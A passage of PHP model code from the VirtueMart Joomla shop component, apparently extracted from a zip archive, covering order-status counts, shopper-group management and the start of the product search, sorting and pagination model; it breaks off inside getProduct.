{ $query = 'SELECT `#__virtuemart_orderstates`.`order_status_name`, `#__virtuemart_orderstates`.`order_status_code`, '; $query .= '(SELECT count(virtuemart_order_id) FROM `#__virtuemart_orders` WHERE `#__virtuemart_orders`.`order_status` = `#__virtuemart_orderstates`.`order_status_code`) as order_count '; $query .= 'FROM `#__virtuemart_orderstates`'; return $this->_getList($query); } /** * Gets a list of recent orders * * @author RickG * @return ObjectList List of recent orders. */ function getRecentOrders($nbrOrders=5) { $query = 'SELECT * FROM `#__virtuemart_orders` ORDER BY `created_on` desc'; return $this->_getList($query, 0, $nbrOrders); } /** * Gets a list of recent customers * * @author RickG * @return ObjectList List of recent orders. */ function getRecentCustomers($nbrCusts=5) { $query = 'SELECT `id` as `virtuemart_user_id`, `first_name`, `last_name`, `order_number` FROM `#__users` as `u` '; $query .= 'JOIN `#__virtuemart_vmusers` as uv ON u.id = uv.virtuemart_user_id '; $query .= 'JOIN `#__virtuemart_userinfos` as ui ON u.id = ui.virtuemart_user_id '; $query .= 'JOIN `#__virtuemart_orders` as uo ON u.id = uo.virtuemart_user_id '; $query .= 'WHERE `perms` <> "admin" '; $query .= 'AND `perms` <> "storeadmin" '; $query .= 'AND INSTR(`usertype`, "administrator") = 0 AND INSTR(`usertype`, "Administrator") = 0 '; $query .= ' ORDER BY uo.`created_on` DESC'; return $this->_getList($query, 0, $nbrCusts); } } //pure php no tagPKs>\$$&com_virtuemart/models/shoppergroup.phpnuW+AsetMainTable('shoppergroups'); } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * * @author Markus Öhler */ function getShopperGroup() { if (empty($this->_data)) { $this->_data = $this->getTable('shoppergroups'); $this->_data->load((int) $this->_id); if(!empty($this->_data->price_display)){ $this->_data->price_display = unserialize($this->_data->price_display); } else{ if(!class_exists('JParameter')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'html'.DS.'parameter.php' ); $this->_data->price_display = new JParameter(''); } } return $this->_data; } /** * Retireve a list of shopper groups from the database. * * @author Markus Öhler * @param boolean $onlyPublished * @param boolean $noLimit True if no record count limit is used, false otherwise * @return object List of shopper group objects */ function getShopperGroups($onlyPublished=false, $noLimit = false) { $db = JFactory::getDBO(); $query = 'SELECT * FROM `#__virtuemart_shoppergroups` ORDER BY `virtuemart_vendor_id`,`shopper_group_name` '; if ($noLimit) { $this->_data = $this->_getList($query); } else { $this->_data = $this->_getList($query, $this->getState('limitstart'), $this->getState('limit')); } return $this->_data; } function store(&$data){ $myfields = array('basePrice','variantModification','basePriceVariant', 'basePriceWithTax','basePriceWithTax','discountedPriceWithoutTax', 'salesPrice','priceWithoutTax', 'salesPriceWithDiscount','discountAmount','taxAmount','unitPrice'); $param ='show_prices='.$data['show_prices']."\n"; foreach($myfields as $fields){ $param .= $fields.'='.$data[$fields]."\n"; //attention there must be doublequotes $param .= $fields.'Text='.$data[$fields.'Text']."\n"; $param .= $fields.'Rounding='.$data[$fields.'Rounding']."\n"; } if(!class_exists('JParameter')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'html'.DS.'parameter.php' ); $jparam = new JParameter($param); $data['price_display'] = serialize(new JParameter($param)); return parent::store($data); } function makeDefault($id,$kind = 1) { //Prevent making anonymous Shoppergroup as default $adId = $this->getDefault(1); $anonymous_sg_id = $adId->virtuemart_shoppergroup_id; if($adId == $id){ $group = $this->getShoppergroupById($id); vmError(JText::sprintf('COM_VIRTUEMART_SHOPPERGROUP_CANT_MAKE_DEFAULT',$group->shopper_group_name,$id)); return false; } $this->_db->setQuery('UPDATE `#__virtuemart_shoppergroups` SET `default` = 0 WHERE `default`<"2"'); if (!$this->_db->query()) return ; $this->_db->setQuery('UPDATE `#__virtuemart_shoppergroups` SET `default` = "'.$kind.'" WHERE virtuemart_shoppergroup_id='.(int)$id); if (!$this->_db->query()) return ; return true; } /** * * Get default shoppergroup for anonymous and non anonymous * @param unknown_type $kind */ function getDefault($kind = 1, $onlyPublished = FALSE, $vendorId = 1){ $kind = $kind + 1; $q = 'SELECT * FROM `#__virtuemart_shoppergroups` WHERE `default` = "'.$kind.'" AND (`virtuemart_vendor_id` = "'.$vendorId.'" OR `shared` = "1") '; if($onlyPublished){ $q .= ' AND `published`="1" '; } $this->_db->setQuery($q); if(!$res = $this->_db->loadObject()){ $app = JFactory::getApplication(); $app->enqueueMessage('Attention no standard shopper group set '.$this->_db->getErrorMsg()); } else { //vmdebug('getDefault', $res); return $res; } } function appendShopperGroups(&$shopperGroups,$user,$onlyPublished = FALSE,$vendorId=1,$keepDefault = false){ $this->mergeSessionSgrps($shopperGroups); if(count($shopperGroups)<1 or $keepDefault){ $_defaultShopperGroup = $this->getDefault($user->guest,$onlyPublished,$vendorId); if(!in_array($_defaultShopperGroup->virtuemart_shoppergroup_id,$shopperGroups)){ $shopperGroups[] = $_defaultShopperGroup->virtuemart_shoppergroup_id; } } $this->removeSessionSgrps($shopperGroups); } function mergeSessionSgrps(&$ids){ $session = JFactory::getSession(); $shoppergroup_ids = $session->get('vm_shoppergroups_add',array(),'vm'); $ids = array_merge($ids,(array)$shoppergroup_ids); $ids = array_unique($ids); //$session->set('vm_shoppergroups_add',array(),'vm'); //vmdebug('mergeSessionSgrps',$shoppergroup_ids,$ids); } function removeSessionSgrps(&$ids){ $session = JFactory::getSession(); $shoppergroup_ids_remove = $session->get('vm_shoppergroups_remove',0,'vm'); if($shoppergroup_ids_remove!==0){ if(!is_array($shoppergroup_ids_remove)){ $shoppergroup_ids_remove = (array) $shoppergroup_ids_remove; } foreach($shoppergroup_ids_remove as $k => $id){ if(in_array($id,$ids)){ $key=array_search($id, $ids); if($key!==FALSE){ unset($ids[$key]); vmdebug('Anonymous case, remove session shoppergroup by plugin '.$id); } } } //$session->set('vm_shoppergroups_remove',0,'vm'); } } function remove($ids){ jimport( 'joomla.utilities.arrayhelper' ); JArrayHelper::toInteger($ids); $table = $this->getTable($this->_maintablename); $defaultSgId = $this->getDefault(0); $anonymSgId = $this->getDefault(1); foreach($ids as $id){ //Test if shoppergroup is default if($id == $defaultSgId->virtuemart_shoppergroup_id){ $this->_db->setQuery('SELECT shopper_group_name FROM `#__virtuemart_shoppergroups` WHERE `virtuemart_shoppergroup_id` = "'.(int)$id.'"'); $name = $this->_db->loadResult(); vmError(JText::sprintf('COM_VIRTUEMART_SHOPPERGROUP_DELETE_CANT_DEFAULT',vmText::_($name),$id)); continue; } //Test if shoppergroup is default if($id == $anonymSgId->virtuemart_shoppergroup_id){ $this->_db->setQuery('SELECT shopper_group_name FROM `#__virtuemart_shoppergroups` WHERE `virtuemart_shoppergroup_id` = "'.(int)$id.'"'); $name = $this->_db->loadResult(); vmError(JText::sprintf('COM_VIRTUEMART_SHOPPERGROUP_DELETE_CANT_DEFAULT',vmText::_($name),$id)); continue; } //Test if shoppergroup has members $this->_db->setQuery('SELECT * FROM `#__virtuemart_vmuser_shoppergroups` WHERE `virtuemart_shoppergroup_id` = "'.(int)$id.'"'); if($this->_db->loadResult()){ $this->_db->setQuery('SELECT shopper_group_name FROM `#__virtuemart_shoppergroups` WHERE `virtuemart_shoppergroup_id` = "'.(int)$id.'"'); $name = $this->_db->loadResult(); vmError(JText::sprintf('COM_VIRTUEMART_SHOPPERGROUP_DELETE_CANT_WITH_MEMBERS',vmText::_($name),$id)); continue; } if (!$table->delete($id)) { vmError(get_class( $this ).'::remove '.$table->getError()); return false; } } return true; } /** * Retrieves the Shopper Group Info of the SG specified by $id * * @param int $id * @param boolean $default_group * @return array */ static function getShoppergroupById($id, $default_group = false) { $virtuemart_vendor_id = 1; $db = JFactory::getDBO(); $q = 'SELECT `#__virtuemart_shoppergroups`.`virtuemart_shoppergroup_id`, `#__virtuemart_shoppergroups`.`shopper_group_name`, `default` AS default_shopper_group FROM `#__virtuemart_shoppergroups`'; if (!empty($id) && !$default_group) { $q .= ', `#__virtuemart_vmuser_shoppergroups`'; $q .= ' WHERE `#__virtuemart_vmuser_shoppergroups`.`virtuemart_user_id`="'.(int)$id.'" AND '; $q .= '`#__virtuemart_shoppergroups`.`virtuemart_shoppergroup_id`=`#__virtuemart_vmuser_shoppergroups`.`virtuemart_shoppergroup_id`'; } else { $q .= ' WHERE `#__virtuemart_shoppergroups`.`virtuemart_vendor_id`="'.(int)$virtuemart_vendor_id.'" AND `default`="2"'; } $db->setQuery($q); return $db->loadAssocList(); } } // pure php no closing tagPKs>\Gnn!com_virtuemart/models/product.phpnuW+AsetMainTable ('products'); $this->starttime = microtime (TRUE); $this->maxScriptTime = VmConfig::getExecutionTime() * 0.95 - 1; $this->memory_limit = VmConfig::getMemoryLimit()-4; // $this->addvalidOrderingFieldName(array('m.mf_name','pp.product_price')); $app = JFactory::getApplication (); if ($app->isSite ()) { $this->_validOrderingFieldName = array(); $browseOrderByFields = VmConfig::get ('browse_orderby_fields',array('product_sku','category_name','mf_name','product_name')); } else { if (!class_exists ('shopFunctions')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'shopfunctions.php'); } $browseOrderByFields = ShopFunctions::getValidProductFilterArray (); $this->addvalidOrderingFieldName (array('product_price','product_sales')); //$this->addvalidOrderingFieldName (array('product_price')); // vmdebug('$browseOrderByFields',$browseOrderByFields); } $this->addvalidOrderingFieldName ((array)$browseOrderByFields); $this->removevalidOrderingFieldName ('virtuemart_product_id'); //$this->removevalidOrderingFieldName ('product_sales'); //unset($this->_validOrderingFieldName[0]);//virtuemart_product_id array_unshift ($this->_validOrderingFieldName, 'p.virtuemart_product_id'); $this->_selectedOrdering = VmConfig::get ('browse_orderby_field', '`p`.virtuemart_product_id'); $this->setToggleName('product_special'); $this->initialiseRequests (); //This is just done now for the moment for developing, the idea is of course todo this only when needed. $this->updateRequests (); } var $keyword = ""; var $product_parent_id = FALSE; var $virtuemart_manufacturer_id = FALSE; var $virtuemart_category_id = 0; var $search_type = ''; var $searchcustoms = FALSE; var $searchplugin = 0; var $filter_order = 'p.virtuemart_product_id'; var $filter_order_Dir = 'DESC'; var $valid_BE_search_fields = array('product_name', 'product_sku','product_gtin','product_mpn','`l`.`slug`', 'product_s_desc', '`l`.`metadesc`'); private $_autoOrder = 0; private $orderByString = 0; private $listing = FALSE; /** * This function resets the variables holding request depended data to the initial values * * @author Max Milbers */ function initialiseRequests () { $this->keyword = ""; $this->valid_search_fields = $this->valid_BE_search_fields; $this->product_parent_id = FALSE; $this->virtuemart_manufacturer_id = FALSE; $this->search_type = ''; $this->searchcustoms = FALSE; $this->searchplugin = 0; $this->filter_order = VmConfig::get ('browse_orderby_field'); ; $this->filter_order_Dir = VmConfig::get('prd_brws_orderby_dir', 'ASC'); $this->_uncategorizedChildren = null; } /** * This functions updates the variables of the model which are used in the sortSearchListQuery * with the variables from the Request * * @author Max Milbers */ function updateRequests () { $this->keyword = vRequest::uword ('keyword', "", ' ,-,+,.,_,#,/'); if ($this->keyword == "") { $this->keyword = vRequest::uword ('filter_product', "", ' ,-,+,.,_,#,/'); JRequest::setVar('filter_product',$this->keyword); JRequest::setVar('keyword',$this->keyword); } else { JRequest::setVar('keyword',$this->keyword); } $app = JFactory::getApplication (); $option = 'com_virtuemart'; $view = 'product'; if ($app->isSite ()) { $filter_order = JRequest::getString ('orderby', "0"); if($filter_order == "0"){ $filter_order_raw = $this->getLastProductOrdering($this->_selectedOrdering); $filter_order = $this->checkFilterOrder ($filter_order_raw); } else { vmdebug('my $filter_order ',$filter_order); $filter_order = $this->checkFilterOrder ($filter_order); vmdebug('my $filter_order after check',$filter_order); $this->setLastProductOrdering($filter_order); } $filter_order_Dir = strtoupper (JRequest::getWord ('dir', VmConfig::get('prd_brws_orderby_dir', 'ASC'))); $valid_search_fields = VmConfig::get ('browse_search_fields'); //vmdebug('$valid_search_fields ',$valid_search_fields); //unset($valid_search_fields[] } else { $filter_order = strtolower ($app->getUserStateFromRequest ('com_virtuemart.' . $view . '.filter_order', 'filter_order', $this->_selectedOrdering, 'cmd')); $filter_order = $this->checkFilterOrder ($filter_order); $filter_order_Dir = strtoupper ($app->getUserStateFromRequest ($option . '.' . $view . '.filter_order_Dir', 'filter_order_Dir', '', 'word')); $valid_search_fields = $this->valid_BE_search_fields; } $filter_order_Dir = $this->checkFilterDir ($filter_order_Dir); $this->filter_order = $filter_order; $this->filter_order_Dir = $filter_order_Dir; $this->valid_search_fields = $valid_search_fields; $this->product_parent_id = JRequest::getInt ('product_parent_id', FALSE); $this->virtuemart_manufacturer_id = JRequest::getInt ('virtuemart_manufacturer_id', FALSE); $this->search_type = JRequest::getVar ('search_type', ''); $this->searchcustoms = JRequest::getVar ('customfields', array(), 'default', 'array'); $this->searchplugin = JRequest::getInt ('custom_parent_id', 0); } /** * @author Max Milbers */ public function getLastProductOrdering($default = 0){ $session = JFactory::getSession(); return $session->get('vmlastproductordering', $default, 'vm'); } /** * @author Max Milbers */ public function setLastProductOrdering($ordering){ $session = JFactory::getSession(); return $session->set('vmlastproductordering', (string) $ordering, 'vm'); } /** * Sets the keyword variable for the search * * @param string $keyword */ function setKeyWord ($keyword) { $this->keyword = $keyword; } /** * New function for sorting, searching, filtering and pagination for product ids. * * @author Max Milbers */ function sortSearchListQuery ($onlyPublished = TRUE, $virtuemart_category_id = FALSE, $group = FALSE, $nbrReturnProducts = FALSE) { $app = JFactory::getApplication (); //User Q.Stanley said that removing group by is increasing the speed of product listing in a bigger shop (10k products) by factor 60 //So what was the reason for that we have it? TODO experiemental, find conditions for the need of group by $groupBy = ' group by p.`virtuemart_product_id` '; //administrative variables to organize the joining of tables $joinCategory = FALSE; $joinCatLang = false; $joinMf = FALSE; $joinMfLang = false; $joinPrice = FALSE; $joinCustom = FALSE; $joinShopper = FALSE; $joinChildren = FALSE; $joinLang = false; $orderBy = ' '; $where = array(); $useCore = TRUE; if ($this->searchplugin !== 0) { //reset generic filters ! Why? the plugin can do it, if it wishes it. // if ($this->keyword ==='') $where=array(); JPluginHelper::importPlugin ('vmcustom'); $dispatcher = JDispatcher::getInstance (); $PluginJoinTables = array(); $ret = $dispatcher->trigger ('plgVmAddToSearch', array(&$where, &$PluginJoinTables, $this->searchplugin)); foreach ($ret as $r) { if (!$r) { $useCore = FALSE; } } } if ($useCore) { $isSite = $app->isSite (); // if ( $this->keyword !== "0" and $group ===false) { if (!empty($this->keyword) and $this->keyword !== '' and $group === FALSE) { $keyword = '"%' .str_replace(array(' ','-'),'%',$this->_db->getEscaped( $this->keyword, true )). '%"'; //$keyword = '"%' . $this->_db->getEscaped ($this->keyword, TRUE) . '%"'; foreach ($this->valid_search_fields as $searchField) { if ($searchField == 'category_name' || $searchField == 'category_description') { //$joinCategory = TRUE; $joinCatLang = true; } else if ($searchField == 'mf_name') { //$joinMf = TRUE; $joinMfLang = true; } else if ($searchField == 'product_price') { $joinPrice = TRUE; } else if (!$joinLang and ($searchField == 'product_name' or $searchField == 'product_s_desc' or $searchField == 'product_desc' or $searchField == '`p`.product_sku' or $searchField == '`l`.slug') ){ $joinLang = TRUE; } if (strpos ($searchField, '`') !== FALSE){ $keywords_plural = preg_replace('/\s+/', '%" AND '.$searchField.' LIKE "%', $keyword); $filter_search[] = $searchField . ' LIKE ' . $keywords_plural; } else { $keywords_plural = preg_replace('/\s+/', '%" AND `'.$searchField.'` LIKE "%', $keyword); $filter_search[] = '`'.$searchField.'` LIKE '.$keywords_plural; //$filter_search[] = '`' . $searchField . '` LIKE ' . $keyword; } } if (!empty($filter_search)) { $where[] = '(' . implode (' OR ', $filter_search) . ')'; } else { $where[] = '`product_name` LIKE ' . $keyword; $joinLang = TRUE; //If they have no check boxes selected it will default to product name at least. } } // vmdebug('my $this->searchcustoms ',$this->searchcustoms); if (!empty($this->searchcustoms)) { $joinCustom = TRUE; foreach ($this->searchcustoms as $key => $searchcustom) { $custom_search[] = '(pf.`virtuemart_custom_id`="' . (int)$key . '" and pf.`custom_value` like "%' . $this->_db->getEscaped ($searchcustom, TRUE) . '%")'; } $where[] = " ( " . implode (' OR ', $custom_search) . " ) "; } if ($onlyPublished) { $where[] = ' p.`published`="1" '; } if($isSite and !VmConfig::get('use_as_catalog',0)) { if (VmConfig::get('stockhandle','none')=='disableit_children') { $where[] = ' ((p.`product_in_stock` - p.`product_ordered`) >"0" OR (children.`product_in_stock` - children.`product_ordered`) > "0") '; $joinChildren = TRUE; } else if (VmConfig::get('stockhandle','none')=='disableit') { $where[] = ' p.`product_in_stock` - p.`product_ordered` >"0" '; } } if ($virtuemart_category_id > 0) { $joinCategory = TRUE; $where[] = ' `pc`.`virtuemart_category_id` = ' . $virtuemart_category_id; } else if ($isSite and !VmConfig::get('show_uncat_child_products',TRUE)) { $joinCategory = TRUE; $where[] = ' `pc`.`virtuemart_category_id` > 0 '; } if ($this->product_parent_id) { $where[] = ' p.`product_parent_id` = ' . $this->product_parent_id; } if ($isSite) { $usermodel = VmModel::getModel ('user'); $currentVMuser = $usermodel->getUser (); $virtuemart_shoppergroup_ids = (array)$currentVMuser->shopper_groups; if (is_array ($virtuemart_shoppergroup_ids)) { $sgrgroups = array(); foreach ($virtuemart_shoppergroup_ids as $key => $virtuemart_shoppergroup_id) { $sgrgroups[] = ' `ps`.`virtuemart_shoppergroup_id`= "' . (int)$virtuemart_shoppergroup_id . '" '; } $sgrgroups[] = ' `ps`.`virtuemart_shoppergroup_id` IS NULL '; $where[] = " ( " . implode (' OR ', $sgrgroups) . " ) "; $joinShopper = TRUE; } } if ($this->virtuemart_manufacturer_id) { $joinMf = TRUE; $where[] = ' `#__virtuemart_product_manufacturers`.`virtuemart_manufacturer_id` = ' . $this->virtuemart_manufacturer_id; } // Time filter if ($this->search_type != '') { $search_order = $this->_db->getEscaped (JRequest::getWord ('search_order') == 'bf' ? '<' : '>'); switch ($this->search_type) { case 'parent': $where[] = 'p.`product_parent_id` = "0"'; break; case 'product': $where[] = 'p.`modified_on` ' . $search_order . ' "' . $this->_db->getEscaped (JRequest::getVar ('search_date')) . '"'; break; case 'price': $joinPrice = TRUE; $where[] = 'pp.`modified_on` ' . $search_order . ' "' . $this->_db->getEscaped (JRequest::getVar ('search_date')) . '"'; break; case 'withoutprice': $joinPrice = TRUE; $where[] = 'pp.`product_price` IS NULL'; break; case 'stockout': $where[] = ' p.`product_in_stock`- p.`product_ordered` < 1'; break; case 'stocklow': $where[] = 'p.`product_in_stock`- p.`product_ordered` < p.`low_stock_notification`'; break; } } // special orders case //vmdebug('my filter ordering ',$this->filter_order); $ff_select_price = ''; switch ($this->filter_order) { case '`p`.product_special': if($isSite){ $where[] = ' p.`product_special`="1" '; // TODO Change to a individual button $orderBy = 'ORDER BY RAND()'; } else { $orderBy = 'ORDER BY p.`product_special`'; } break; case 'category_name': $orderBy = ' ORDER BY `category_name` '; $joinCategory = TRUE; $joinCatLang = true; break; case 'category_description': $orderBy = ' ORDER BY `category_description` '; $joinCategory = TRUE; $joinCatLang = true; break; case 'mf_name': $orderBy = ' ORDER BY `mf_name` '; $joinMf = TRUE; $joinMfLang = true; break; case 'pc.ordering': $orderBy = ' ORDER BY `pc`.`ordering` '; $joinCategory = TRUE; break; case 'product_price': //$filters[] = 'p.`virtuemart_product_id` = p.`virtuemart_product_id`'; //$orderBy = ' ORDER BY `product_price` '; //$orderBy = ' ORDER BY `ff_final_price`, `product_price` '; $orderBy = ' ORDER BY `product_price` '; $ff_select_price = ' , IF(pp.override, pp.product_override_price, pp.product_price) as product_price '; $joinPrice = TRUE; break; case '`p`.created_on': $orderBy = ' ORDER BY p.`created_on` '; break; default; if (!empty($this->filter_order)) { $orderBy = ' ORDER BY ' . $this->filter_order . ' '; } else { $this->filter_order_Dir = ''; } break; } //Group case from the modules if ($group) { $latest_products_days = VmConfig::get ('latest_products_days', 7); $latest_products_orderBy = VmConfig::get ('latest_products_orderBy','created_on'); $groupBy = 'group by p.`virtuemart_product_id` '; switch ($group) { case 'featured': $where[] = 'p.`product_special`="1" '; $orderBy = 'ORDER BY RAND() '; break; case 'latest': $date = JFactory::getDate (time () - (60 * 60 * 24 * $latest_products_days)); $dateSql = $date->toMySQL (); //$where[] = 'p.`' . $latest_products_orderBy . '` > "' . $dateSql . '" '; $orderBy = 'ORDER BY p.`' . $latest_products_orderBy . '`'; $this->filter_order_Dir = 'DESC'; break; case 'random': $orderBy = ' ORDER BY RAND() '; //LIMIT 0, '.(int)$nbrReturnProducts ; //TODO set limit LIMIT 0, '.(int)$nbrReturnProducts; break; case 'topten': $orderBy = ' ORDER BY p.`product_sales` '; //LIMIT 0, '.(int)$nbrReturnProducts; //TODO set limitLIMIT 0, '.(int)$nbrReturnProducts; $joinPrice = true; $where[] = 'pp.`product_price`>"0.0" '; $this->filter_order_Dir = 'DESC'; break; case 'recent': $rSession = JFactory::getSession(); $rIds = $rSession->get('vmlastvisitedproductids', array(), 'vm'); // get recent viewed from browser session return $rIds; } $this->searchplugin = FALSE; } } $joinedTables = array(); //This option switches between showing products without the selected language or only products with language. if($app->isSite() and !VmConfig::get('prodOnlyWLang',true)){ //Maybe we have to join the language to order by product name, description, etc,... if(!$joinLang){ $productLangFields = array('product_s_desc','product_desc','product_name','metadesc','metakey','slug'); foreach($productLangFields as $field){ if(strpos($orderBy,$field,6)!==FALSE){ $joinLang = true; break; } } } } else { $joinLang = true; } $select = ' p.`virtuemart_product_id`'.$ff_select_price.' FROM `#__virtuemart_products` as p '; if ($joinLang) { $joinedTables[] = ' INNER JOIN `#__virtuemart_products_' . VmConfig::$vmlang . '` as l using (`virtuemart_product_id`)'; } if ($joinShopper == TRUE) { $joinedTables[] = ' LEFT JOIN `#__virtuemart_product_shoppergroups` as ps ON p.`virtuemart_product_id` = `ps`.`virtuemart_product_id` '; //$joinedTables[] = ' LEFT OUTER JOIN `#__virtuemart_shoppergroups` as s ON s.`virtuemart_shoppergroup_id` = `#__virtuemart_product_shoppergroups`.`virtuemart_shoppergroup_id` '; } if ($joinCategory == TRUE or $joinCatLang) { $joinedTables[] = ' LEFT JOIN `#__virtuemart_product_categories` as pc ON p.`virtuemart_product_id` = `pc`.`virtuemart_product_id` '; if($joinCatLang){ $joinedTables[] = ' LEFT JOIN `#__virtuemart_categories_' . VMLANG . '` as c ON c.`virtuemart_category_id` = `pc`.`virtuemart_category_id`'; } } if ($joinMf == TRUE or $joinMfLang) { $joinedTables[] = ' LEFT JOIN `#__virtuemart_product_manufacturers` ON p.`virtuemart_product_id` = `#__virtuemart_product_manufacturers`.`virtuemart_product_id` '; if($joinMfLang){ $joinedTables[] = 'LEFT JOIN `#__virtuemart_manufacturers_' . VMLANG . '` as m ON m.`virtuemart_manufacturer_id` = `#__virtuemart_product_manufacturers`.`virtuemart_manufacturer_id` '; } } if ($joinPrice == TRUE) { $joinedTables[] = ' LEFT JOIN `#__virtuemart_product_prices` as pp ON p.`virtuemart_product_id` = pp.`virtuemart_product_id` '; } if ($this->searchcustoms) { $joinedTables[] = ' LEFT JOIN `#__virtuemart_product_customfields` as pf ON p.`virtuemart_product_id` = pf.`virtuemart_product_id` '; } if ($this->searchplugin !== 0) { if (!empty($PluginJoinTables)) { $plgName = $PluginJoinTables[0]; $joinedTables[] = ' LEFT JOIN `#__virtuemart_product_custom_plg_' . $plgName . '` as ' . $plgName . ' ON ' . $plgName . '.`virtuemart_product_id` = p.`virtuemart_product_id` '; } } if ($joinChildren) { $joinedTables[] = ' LEFT OUTER JOIN `#__virtuemart_products` children ON p.`virtuemart_product_id` = children.`product_parent_id` '; } if (count ($where) > 0) { $whereString = ' WHERE (' . implode ("\n AND ", $where) . ') '; } else { $whereString = ''; } //vmdebug ( $joinedTables.' joined ? ',$select, $joinedTables, $whereString, $groupBy, $orderBy, $this->filter_order_Dir ); /* jexit(); */ $this->orderByString = $orderBy; if($this->_onlyQuery){ return (array($select,$joinedTables,$where,$orderBy,$joinLang)); } $joinedTables = " \n".implode(" \n",$joinedTables); $product_ids = $this->exeSortSearchListQuery (2, $select, $joinedTables, $whereString, $groupBy, $orderBy, $this->filter_order_Dir, $nbrReturnProducts); return $product_ids; } /** * Override * * @see VmModel::setPaginationLimits() */ public function setPaginationLimits () { $app = JFactory::getApplication (); $view = JRequest::getWord ('view','virtuemart'); $cateid = JRequest::getInt ('virtuemart_category_id', -1); $manid = JRequest::getInt ('virtuemart_manufacturer_id', 0); $limitString = 'com_virtuemart.' . $view . 'c' . $cateid . '.limit'; $limit = (int)$app->getUserStateFromRequest ($limitString, 'limit'); $limitStartString = 'com_virtuemart.' . $view . '.limitstart'; if ($app->isSite () and ($cateid != -1 or $manid != 0) ) { $lastCatId = ShopFunctionsF::getLastVisitedCategoryId (); $lastManId = ShopFunctionsF::getLastVisitedManuId (); vmdebug('setPaginationLimits is site and $cateid,$manid ',$cateid,$lastCatId,$manid); if( !empty($cateid) and $cateid != -1) { $gCatId = $cateid; } else if( !empty($lastCatId) ) { $gCatId = $lastCatId; } if(!empty($gCatId)){ $catModel= VmModel::getModel('category'); $category = $catModel->getCategory($gCatId); } else { $category = new stdClass(); } if ((!empty($lastCatId) and $lastCatId != $cateid) or (!empty($manid) and $lastManId != $manid)) { //We are in a new category or another manufacturer, so we start at page 1 $limitStart = JRequest::getInt ('limitstart', 0); } else { //We were already in the category/manufacturer, so we take the value stored in the session $limitStartString = 'com_virtuemart.' . $view . 'c' . $cateid .'m'.$manid. '.limitstart'; $limitStart = $app->getUserStateFromRequest ($limitStartString, 'limitstart', JRequest::getInt ('limitstart', 0), 'int'); } if(empty($limit) and !empty($category->limit_list_initial)){ $suglimit = $category->limit_list_initial; } else if(!empty($limit)){ $suglimit = $limit; } else { $suglimit = VmConfig::get ('llimit_init_FE', 20); } if(empty($category->products_per_row)){ $category->products_per_row = VmConfig::get ('products_per_row', 3); } $rest = $suglimit%$category->products_per_row; $limit = $suglimit - $rest; if(!empty($category->limit_list_step)){ $prod_per_page = explode(",",$category->limit_list_step); } else { //fix by hjet $prod_per_page = explode(",",VmConfig::get('pagseq_'.$category->products_per_row)); } if($limit <= $prod_per_page['0'] && array_key_exists('0',$prod_per_page)){ $limit = $prod_per_page['0']; } //vmdebug('Calculated $limit ',$limit,$suglimit); } else { $limitStart = $app->getUserStateFromRequest ('com_virtuemart.' . $view . '.limitstart', 'limitstart', JRequest::getInt ('limitstart', 0), 'int'); } if(empty($limit)){ if($app->isSite()){ $limit = VmConfig::get ('llimit_init_FE'); } else { $limit = VmConfig::get ('llimit_init_BE'); } if(empty($limit)){ $limit = 30; } } $this->setState ('limit', $limit); $this->setState ($limitString, $limit); $this->_limit = $limit; //There is a strange error in the frontend giving back 9 instead of 10, or 24 instead of 25 //This functions assures that the steps of limitstart fit with the limit $limitStart = ceil ((float)$limitStart / (float)$limit) * $limit; $this->setState ('limitstart', $limitStart); $this->setState ($limitStartString, $limitStart); $this->_limitStart = $limitStart; return array($this->_limitStart, $this->_limit); } /** * This function creates a product with the attributes of the parent. * * @param int $virtuemart_product_id * @param boolean $front for frontend use * @param boolean $withCalc calculate prices? * @param boolean published * @param int quantity * @param boolean load customfields */ public function getProduct ($virtuemart_product_id = NULL, $front = TRUE, $withCalc = TRUE, $onlyPublished = TRUE, $quantity = 1,$customfields = TRUE,$virtuemart_shoppergroup_ids=0) { if (isset($virtuemart_product_id)) { $virtuemart_product_id = $this->setId ($virtuemart_product_id); } else { if (empty($this->_id)) { vmError('Can not return product with empty id'); return FALSE; } else { $virtuemart_product_id = $this->_id; } } if($virtuemart_shoppergroup_ids !=0 and is_array($virtuemart_shoppergroup_ids)){ $virtuemart_shoppergroup_idsString = implode('',$virtuemart_shoppergroup_ids); } else { $virtuemart_shoppergroup_idsString = $virtuemart_shoppergroup_ids; } $front = $front?TRUE:0; $withCalc = $withCalc?TRUE:0; $onlyPublished = $onlyPublished?TRUE:0; $customfields = $customfields?TRUE:0; $this->withRating = $this->withRating?TRUE:0; $productKey = $virtuemart_product_id.$front.$onlyPublished.$quantity.$virtuemart_shoppergroup_idsString.$withCalc.$customfields.$this->withRating; static $_products = array(); // vmdebug('$productKey, not from cache : '.$productKey); if (array_key_exists ($productKey, $_products)) { //vmdebug('getProduct, take from cache : '.$productKey); return $_products[$productKey]; } else if(!$customfields or !$withCalc){ $productKeyTmp = $virtuemart_product_id.$front.$onlyPublished.$quantity.$virtuemart_shoppergroup_idsString.TRUE.TRUE.TRUE; if (array_key_exists ($productKeyTmp, $_products)) { //vmdebug('getProduct, take from cache full product '.$productKeyTmp); return $_products[$productKeyTmp]; } } if ($this->memory_limit<$mem = round(memory_get_usage(FALSE)/(1024*1024),2)) { vmdebug ('Memory limit reached in model product getProduct('.$virtuemart_product_id.'), $customfields= '.$customfields.' consumed: '.$mem.'M'); vmError ('Memory limit '.$this->memory_limit.' reached in model product getProduct() ' . $virtuemart_product_id. ' tried to allocate '.$mem); return false; } $child = $this->getProductSingle ($virtuemart_product_id, $front,$quantity,$customfields,$virtuemart_shoppergroup_ids); if (!$child->published && $onlyPublished) { //vmdebug('getProduct child is not published, returning zero'); $_products[$productKey] = FALSE; return FALSE; } if(!isset($child->orderable)){ $child->orderable = TRUE; } //store the original parent id $pId = $child->virtuemart_product_id; $ppId = $child->product_parent_id; $published = $child->published; $i = 0; $runtime = microtime (TRUE) - $this->starttime; //Check for all attributes to inherited by parent products while (!empty($child->product_parent_id)) { $runtime = microtime (TRUE) - $this->starttime; if ($runtime >= $this->maxScriptTime) { vmdebug ('Max execution time reached in model product getProduct() ', $child); vmError ('Max execution time reached in model product getProduct() ' . $child->product_parent_id); break; } else { if ($i > 10) { vmdebug ('Time: ' . $runtime . ' Too many child products in getProduct() ', $child); vmError ('Time: ' . $runtime . ' Too many child products in getProduct() ' . $child->product_parent_id); break; } } $parentProduct = $this->getProductSingle ($child->product_parent_id, $front,$quantity,$customfields,$virtuemart_shoppergroup_ids); if 